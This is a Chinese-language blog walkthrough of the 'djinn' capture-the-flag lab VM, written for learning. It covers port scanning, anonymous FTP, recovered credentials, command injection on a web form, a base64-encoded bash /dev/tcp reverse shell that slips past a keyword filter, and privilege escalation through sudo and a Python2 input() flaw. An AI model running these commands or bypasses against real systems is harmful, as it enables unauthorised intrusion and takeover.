前幾天一直在背資料,背的很煩,找個靶機來玩玩.
第一件事,先找一下主機地址,由于我在自己的局域網內,我不用掃也知道這臺剛開的主機 ip 是多少...但如果不知道的話,可以用 nmap 檢測一下,sS 是指用半開放式掃描,不會完成三次握手,速度要快一點
sudo nmap -sS 192.168.1.0/24
掃描結果如下
Nmap scan report for djinn (192.168.1.8)
Host is up (0.00010s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
MAC Address: 08:00:27:70:26:B6 (Oracle VirtualBox virtual NIC)
現在拿到了靶機的 ip 地址,可以開始收集資訊了,探測一下開放了哪些埠,先掃一萬個試試,-O 引數可獲取一些系統的指紋資訊
sudo nmap -sS -O 192.168.1.8 -p1-10000
掃描結果如下
Nmap scan report for djinn (192.168.1.8)
Host is up (0.00027s latency).
Not shown: 9996 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
1337/tcp open waste
7331/tcp open swx
MAC Address: 08:00:27:70:26:B6 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
掃出來了四個埠,一個個來,先看 ftp,用匿名登錄試試,用戶名:anonymous,無密碼.登錄成功.
Name (192.168.1.8:user): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 11 Oct 20 23:54 creds.txt
-rw-r--r-- 1 0 0 128 Oct 21 00:23 game.txt
-rw-r--r-- 1 0 0 113 Oct 21 00:23 message.txt
226 Directory send OK.
分別把三個檔案下載下來,查看資訊
mget creds.txt game.txt message.txt
cat creds.txt
nitu:81299
cat game.txt
oh and I forgot to tell you I've setup a game for you on port 1337. See if you can reach to the
final level and get the prize.
cat message.txt
@nitish81299 I am going on holidays for few days, please take care of all the work.
And don't mess up anything.
game.txt 里說在 1337 埠有一個游戲,先訪問一下試試

那再試試 7331 埠,這次有反饋了,爆破一把梭

gobuster dir -u http://192.168.1.8:7331 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
一小會就掃出來兩個目錄
/wish (Status: 200)
/genie (Status: 200)
訪問一下 wish ,有個輸入引數的地方,輸入 id 試一下,可以執行命令

現在要想辦法反彈 shell 了,直接用bash -i >& /dev/tcp/192.168.1.9/2333 0>&1 試試,
報錯Wrong choice of words,猜測可能是過濾了某些關鍵字,用 base64 編碼看看能不能執行命令.
在 Linux 下生成將命令編碼很簡單:echo "id" | base64 ,輸出aWQK,這就是 id 這個命令編碼之后的結果了,然后再解碼,執行:echo aWQK |base64 -d |bash,
測驗了一下,可以正常使用 echo,對反彈 shell 命令進行編碼
echo "bash -i >& /dev/tcp/192.168.1.9/2333 0>&1" |base64
在本地監聽 2333 埠nc -lvp 2333,把反彈命令放到瀏覽器中執行,成功獲取到 shell(我當時測驗是監聽的 8899 ,都是一樣的)

這個反彈回來的 shell 有些命令不能執行,比如 su,,,不能切換用戶,所以需要獲取一個 pty,
python -c "import pty;pty.spawn('/bin/bash')"
提權
提權可以嘗試找一找提權腳本來試試,我沒有用,是慢慢的翻檔案的,,,
在 nitish 用戶目錄下有個 user.txt 檔案,但是沒有權限打開, sam 用戶目錄直接就沒有權限訪問,
繼續找,在 nitish 下的 .dev 目錄里有個 creds.txt,輸出一下
cat creds.txt
nitish:p4ssw0rdStr3r0n9
password???密碼到手了?切換用戶試試,nice,先看看 nitish 的 flag
10aay8289ptgguy1pvfa73alzusyyx3c
還沒有拿到 root,還不能停下,
查一下有當前用戶下有哪些命令可以一 root 執行

來試試這個 genie 是什么東西,用 man 查一下

可以做任何想做的事???我直接用 root 用戶執行命令列不行?

沒有權限,還 wish 個屁啊,放低點要求,我換成 sam 試試

可以,現在是 sam 了,再看一看有哪些可以以 root 執行的命令
Matching Defaults entries for sam on djinn:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User sam may run the following commands on djinn:
(root) NOPASSWD: /root/lago
又來一個 /root/lago,再試試

這后面的操作就跟我無關了,看大佬文章了,找到 .pyc 檔案,反編譯 pyc,然后是利用 python 的 input,
在 sam 的用戶目錄下有個 .pyc 檔案,查看檔案可以知道這是 /root/lago 編譯出來的,對 .pyc 反編譯,然后利用 python2 里面的 input 特性,只要條件符合,就執行成功,所以直接輸入 num 就行
def guessit():
num = randint(1, 101)
print 'Choose a number between 1 to 100: '
s = input('Enter your number: ')
if s == num:
system('/bin/sh')
else:
print 'Better Luck next time'

公眾號:沒有夢想的阿巧 后臺回復 "群聊",一起學習,一起進步
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/160093.html
標籤:其他
上一篇:MySQL 基礎
